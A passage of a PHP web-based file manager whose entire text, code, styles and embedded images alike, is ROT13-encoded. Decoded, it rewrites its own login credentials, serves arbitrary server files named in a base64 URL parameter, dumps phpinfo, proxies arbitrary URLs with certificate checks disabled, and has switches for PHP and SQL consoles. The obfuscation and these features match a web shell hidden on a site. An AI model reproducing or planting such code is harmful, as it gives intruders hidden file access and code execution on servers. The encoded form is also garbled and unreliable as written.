		$zft = __('Frggvatf').' '.__('qbar');
	}	ryfrvs (vffrg($_CBFG['sz_ybtva'])) { 
		vs (rzcgl($_CBFG['sz_ybtva']['nhgubevmr'])) $_CBFG['sz_ybtva'] = neenl('nhgubevmr' => '0') + $_CBFG['sz_ybtva'];
		$sz_ybtva = wfba_rapbqr($_CBFG['sz_ybtva']);
		$stp = svyr_trg_pbagragf(__SVYR__);
		$frnepu = cert_zngpu('#nhgubevmngvba[\f]?\=[\f]?\'\{\"(.*?)\"\}\';#', $stp, $zngpurf);
		vs (!rzcgl($zngpurf[1])) {
			$svyrzgvzr = svyrzgvzr(__SVYR__);
			$ercynpr = fge_ercynpr('{"'.$zngpurf[1].'"}',$sz_ybtva,$stp);
			vs (svyr_chg_pbagragf(__SVYR__, $ercynpr)) {
				$zft .= __('Svyr hcqngrq');
				vs ($_CBFG['sz_ybtva']['ybtva'] != $nhgu['ybtva']) $zft .= ' '.__('Ybtva').': '.$_CBFG['sz_ybtva']['ybtva'];
				vs ($_CBFG['sz_ybtva']['cnffjbeq'] != $nhgu['cnffjbeq']) $zft .= ' '.__('Cnffjbeq').': '.$_CBFG['sz_ybtva']['cnffjbeq'];
				$nhgu = $_CBFG['sz_ybtva'];
			}
			ryfr $zft .= __('Reebe bppheerq');
			vs (!rzcgl($sz_pbasvt['sz_erfgber_gvzr'])) gbhpu(__SVYR__,$svyrzgvzr);
		}
	} ryfrvs (vffrg($_CBFG['gcy_rqvgrq'])) { 
		$yat_gcy = $_CBFG['gcy_rqvgrq'];
		vs (!rzcgl($_CBFG[$yat_gcy.'_anzr'])) {
			$sz_cuc = wfba_rapbqr(neenl_pbzovar($_CBFG[$yat_gcy.'_anzr'],$_CBFG[$yat_gcy.'_inyhr']),WFBA_URK_NCBF);
		} ryfrvs (!rzcgl($_CBFG[$yat_gcy.'_arj_anzr'])) {
			$sz_cuc = wfba_rapbqr(wfba_qrpbqr(${$yat_gcy.'_grzcyngrf'},gehr)+neenl($_CBFG[$yat_gcy.'_arj_anzr']=>$_CBFG[$yat_gcy.'_arj_inyhr']),WFBA_URK_NCBF);
		}
		vs (!rzcgl($sz_cuc)) {
			$stp = svyr_trg_pbagragf(__SVYR__);
			$frnepu = cert_zngpu('#'.$yat_gcy.'_grzcyngrf[\f]?\=[\f]?\'\{\"(.*?)\"\}\';#', $stp, $zngpurf);
			vs (!rzcgl($zngpurf[1])) {
				$svyrzgvzr = svyrzgvzr(__SVYR__);
				$ercynpr = fge_ercynpr('{"'.$zngpurf[1].'"}',$sz_cuc,$stp);
				vs (svyr_chg_pbagragf(__SVYR__, $ercynpr)) {
					${$yat_gcy.'_grzcyngrf'} = $sz_cuc;
					$zft .= __('Svyr hcqngrq');
				} ryfr $zft .= __('Reebe bppheerq');
				vs (!rzcgl($sz_pbasvt['sz_erfgber_gvzr'])) gbhpu(__SVYR__,$svyrzgvzr);
			}	
		} ryfr $zft .= __('Reebe bppheerq');
	}
}

// Whfg fubj vzntr
vs (vffrg($_TRG['vzt'])) {
	$svyr=onfr64_qrpbqr($_TRG['vzt']);
	vs ($vasb=trgvzntrfvmr($svyr)){
		fjvgpu  ($vasb[2]){	//1=TVS, 2=WCT, 3=CAT, 4=FJS, 5=CFQ, 6=OZC
			pnfr 1: $rkg='tvs'; oernx;
			pnfr 2: $rkg='wcrt'; oernx;
			pnfr 3: $rkg='cat'; oernx;
			pnfr 6: $rkg='ozc'; oernx;
			qrsnhyg: qvr();
		}
		urnqre("Pbagrag-glcr: vzntr/$rkg");
		rpub svyr_trg_pbagragf($svyr);
		qvr();
	}
}

// Whfg qbjaybnq svyr
vs (vffrg($_TRG['qbjaybnq'])) {
	$svyr=onfr64_qrpbqr($_TRG['qbjaybnq']);
	sz_qbjaybnq($svyr);	
}

// Whfg fubj vasb
vs (vffrg($_TRG['cucvasb'])) {
	cucvasb(); 
	qvr();
}

// Zvav cebkl, znal ohtf!
vs (vffrg($_TRG['cebkl']) && (!rzcgl($sz_pbasvt['ranoyr_cebkl']))) {
	$hey = vffrg($_TRG['hey'])?heyqrpbqr($_TRG['hey']):'';
	$cebkl_sbez = '
<qvi fglyr="cbfvgvba:eryngvir;m-vaqrk:100500;onpxtebhaq: yvarne-tenqvrag(gb obggbz, #r4s5sp 0%,#osr8s9 50%,#9sq8rs 51%,#2no0rq 100%);">
	<sbez npgvba="" zrgubq="TRG">
	<vachg glcr="uvqqra" anzr="cebkl" inyhr="gehr">
	'.sz_ubzr().' <n uers="'.$hey.'" gnetrg="_oynax">Hey</n>: <vachg glcr="grkg" anzr="hey" inyhr="'.$hey.'" fvmr="55">
	<vachg glcr="fhozvg" inyhr="'.__('Fubj').'" pynff="sz_vachg">
	</sbez>
</qvi>
';
	vs ($hey) {
		$pu = phey_vavg($hey);
		phey_frgbcg($pu, PHEYBCG_HFRENTRAG, 'Qra1kkk grfg cebkl');
		phey_frgbcg($pu, PHEYBCG_SBYYBJYBPNGVBA, 1);
		phey_frgbcg($pu, PHEYBCG_FFY_IREVSLUBFG,0);
		phey_frgbcg($pu, PHEYBCG_FFY_IREVSLCRRE,0);
		phey_frgbcg($pu, PHEYBCG_URNQRE, 0);
		phey_frgbcg($pu, PHEYBCG_ERSRERE, $hey);
		phey_frgbcg($pu, PHEYBCG_ERGHEAGENAFSRE,gehr);
		$erfhyg = phey_rkrp($pu);
		phey_pybfr($pu);
		//$erfhyg = cert_ercynpr('#(fep)=["\'][uggc://]?([^:]*)["\']#Hv', '\\1="'.$hey.'/\\2"', $erfhyg);
		$erfhyg = cert_ercynpr_pnyyonpx('#(uers|fep)=["\'][uggc://]?([^:]*)["\']#Hv', 'sz_hey_cebkl', $erfhyg);
		$erfhyg = cert_ercynpr('%(<obql.*?>)%v', '$1'.'<fglyr>'.sz_ubzr_fglyr().'</fglyr>'.$cebkl_sbez, $erfhyg);
		rpub $erfhyg;
		qvr();
	} 
}
?>
<!qbpglcr ugzy>
<ugzy>
<urnq>     
	<zrgn punefrg="hgs-8" />
	<zrgn anzr="ivrjcbeg" pbagrag="jvqgu=qrivpr-jvqgu, vavgvny-fpnyr=1" />
    <gvgyr><?=__('Svyr znantre')?></gvgyr>
<fglyr>
obql {
	onpxtebhaq-pbybe:	juvgr;
	sbag-snzvyl:		Ireqnan, Nevny, Uryirgvpn, fnaf-frevs;
	sbag-fvmr:			8cg;
	znetva:				0ck;
}

n:yvax, n:npgvir, n:ivfvgrq { pbybe: #006699; grkg-qrpbengvba: abar; }
n:ubire { pbybe: #QQ6900; grkg-qrpbengvba: haqreyvar; }
n.gu:yvax { pbybe: #SSN34S; grkg-qrpbengvba: abar; }
n.gu:npgvir { pbybe: #SSN34S; grkg-qrpbengvba: abar; }
n.gu:ivfvgrq { pbybe: #SSN34S; grkg-qrpbengvba: abar; }
n.gu:ubire {  pbybe: #SSN34S; grkg-qrpbengvba: haqreyvar; }

gnoyr.ot {
	onpxtebhaq-pbybe: #NPOOP6
}

gu, gq { 
	sbag:	abezny 8cg Ireqnan, Nevny, Uryirgvpn, fnaf-frevs;
	cnqqvat: 3ck;
}

gu	{
	urvtug:				25ck;
	onpxtebhaq-pbybe:	#006699;
	pbybe:				#SSN34S;
	sbag-jrvtug:		obyq;
	sbag-fvmr:			11ck;
}

.ebj1 {
	onpxtebhaq-pbybe:	#RSRSRS;
}

.ebj2 {
	onpxtebhaq-pbybe:	#QRR3R7;
}

.ebj3 {
	onpxtebhaq-pbybe:	#Q1Q7QP;
	cnqqvat: 5ck;
}

ge.ebj1:ubire {
	onpxtebhaq-pbybe:	#S3SPSP;
}

ge.ebj2:ubire {
	onpxtebhaq-pbybe:	#S0S6S6;
}

.jubyr {
	jvqgu: 100%;
}

.nyy gobql gq:svefg-puvyq{jvqgu:100%;}

grkgnern {
	sbag: 9cg 'Pbhevre Arj', pbhevre;
	yvar-urvtug: 125%;
	cnqqvat: 5ck;
}

.grkgnern_vachg {
	urvtug: 1rz;
}

.grkgnern_vachg:sbphf {
	urvtug: nhgb;
}

vachg[glcr=fhozvg]{
	onpxtebhaq: #SPSPSP abar !vzcbegnag;
	phefbe: cbvagre;
}

.sbyqre {
    onpxtebhaq-vzntr: hey("qngn:vzntr/cat;onfr64,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");
}

.svyr {
    onpxtebhaq-vzntr: hey("qngn:vzntr/cat;onfr64,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");
}
<?=sz_ubzr_fglyr()?>
.vzt {
	onpxtebhaq-vzntr: 
hey("qngn:vzntr/cat;onfr64,vIOBEj0XTtbNNNNAFHuRHtNNNONNNNNDPNZNNNNbYD9GNNNNOTqOGHRNNX/VAjJX6DNNNqSDGSES7r3g/s39cW+s+pWnwI8d6racxTVz/fSB/+2B393p5hoz/fkoq29lvzqarSt65BGx2mbL6hUv1mNF1peWfUf2altb3Aeo2YOKeLgz2c5N/+uKcbEdcXBxjev46+ie0ZT36Lfm6hwczV6NamHljY+/zKIFzVOA8ojjw1IOlYTmn1MW0AQDwLFO/9AwjM6PjHNfkx0oeMlJj7czTM4N6YgqxUqs/+A8lbj27o5J87EAYMY/2ovC7jNN//TWy5rK4AsLfnnYtc6u1o+g/+6E68Sr89lpvzMq/hDi3e9AhcPO99I25n1pIWooaUuB/8kF+ZOn8sQjv2Wv48dv/+dBqIVmf34k//TBKVmLc5FC/fktdcvVpc+/fvDcpzcfgnlfmFNAhXXG9CG04hYvjVxl8YqR+fIJidnz8r/iY5VM+eyU8pAt08Ppm7nq8iYl9YgH1dlHhM4+e512+8f/jHcY3q3qk7J1sTAn/89M2psU+f5a6Bwbo1Lgf7Xm19sKjVt4c1qA+Cw4mYE0+8cq7fgeuXNf/9uw/9OI1XgsgYF1ac2qLyWFMSII5YEJuRSO5euM/9Wd0UgG//PFxVdW6X5Q+YAAoyIIiwZ047MZm7r31kRT////gXth6jNNNWg0Hx5G/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////jPIIcXLNNNNTKESJUEGo2M0q2SlMDOOMT9vMFOWoJSaMIWyLJE5ppyyCNNNNAMWERSHXSAwzXJvCDfMZZkvzfdCXcNo2ZfNMAwYBjxmttIzWLalcf/DR59rXPRgOunLSEswMhGuU27yL6xdOkLbeF/BZP5jvUMxy2DPPIGxA+gegSw4MFcZznjQSOQ0yPblamMOy1aVWw55RyON09cqip9ohG1FLXLOJj1DVP0bALfweSUWcFxiELfOXPPoZ9UYA9gJeodawHHTMT1NuThVKMEmcDy3nTjQ2O2pMM2mRbY7J+h6dlNhaMKVBZiDeSlxdjGvSmODABKw4DXmbNXmnwgLVDjNyigcy3I5p8ZNNNNNFHIBEX5PLVV=");
}
@zrqvn fperra naq (znk-jvqgu:720ck){
  gnoyr{qvfcynl:oybpx;}
    #sz_gnoyr gq{qvfcynl:vayvar;sybng:yrsg;}
    #sz_gnoyr gobql gq:svefg-puvyq{jvqgu:100%;cnqqvat:0;}
    #sz_gnoyr gobql ge:agu-puvyq(2a+1){onpxtebhaq-pbybe:#RSRSRS;}
    #sz_gnoyr gobql ge:agu-puvyq(2a){onpxtebhaq-pbybe:#QRR3R7;}
    #sz_gnoyr ge{qvfcynl:oybpx;sybng:yrsg;pyrne:yrsg;jvqgu:100%;}
	#urnqre_gnoyr .ebj2, #urnqre_gnoyr .ebj3 {qvfcynl:vayvar;sybng:yrsg;jvqgu:100%;cnqqvat:0;}
	#urnqre_gnoyr gnoyr gq {qvfcynl:vayvar;sybng:yrsg;}
}
</fglyr>
</urnq>
<obql>
<?cuc
$hey_vap = '?sz=gehr';
vs (vffrg($_CBFG['fdyeha'])&&!rzcgl($sz_pbasvt['ranoyr_fdy_pbafbyr'])){
	$erf = rzcgl($_CBFG['fdy']) ? '' : $_CBFG['fdy'];
	$erf_yat = 'fdy';
} ryfrvs (vffrg($_CBFG['cuceha'])&&!rzcgl($sz_pbasvt['ranoyr_cuc_pbafbyr'])){
	$erf = rzcgl($_CBFG['cuc']) ? '' : $_CBFG['cuc'];
	$erf_yat = 'cuc';
} 
vs (vffrg($_TRG['sz_frggvatf'])) {
	rpub ' 
<gnoyr pynff="jubyr">
<sbez zrgubq="cbfg" npgvba="">
<ge><gu pbyfcna="2">'.__('Svyr znantre').' - '.__('Frggvatf').'</gu></ge>
'.(rzcgl($zft)?'':'<ge><gq pynff="ebj2" pbyfcna="2">'.$zft.'</gq></ge>').'
'.sz_pbasvt_purpxobk_ebj(__('Fubj fvmr bs gur sbyqre'),'fubj_qve_fvmr').'
'.sz_pbasvt_purpxobk_ebj(__('Fubj').' '.__('cvpgherf'),'fubj_vzt').'
'.sz_pbasvt_purpxobk_ebj(__('Fubj').' '.__('Znxr qverpgbel'),'znxr_qverpgbel').'
'.sz_pbasvt_purpxobk_ebj(__('Fubj').' '.__('Arj svyr'),'arj_svyr').'
'.sz_pbasvt_purpxobk_ebj(__('Fubj').' '.__('Hcybnq'),'hcybnq_svyr').'
'.sz_pbasvt_purpxobk_ebj(__('Fubj').' CUC irefvba','fubj_cuc_ire').'
'.sz_pbasvt_purpxobk_ebj(__('Fubj').' CUC vav','fubj_cuc_vav').'
'.sz_pbasvt_purpxobk_ebj(__('Fubj').' '.__('Trarengvba gvzr'),'fubj_tg').'
'.sz_pbasvt_purpxobk_ebj(__('Fubj').' kyf','fubj_kyf').'
'.sz_pbasvt_purpxobk_ebj(__('Fubj').' CUC '.__('Pbafbyr'),'ranoyr_cuc_pbafbyr').'
'.sz_pbasvt_purpxobk_ebj(__('Fubj').' FDY '.__('Pbafbyr'),'ranoyr_fdy_pbafbyr').'
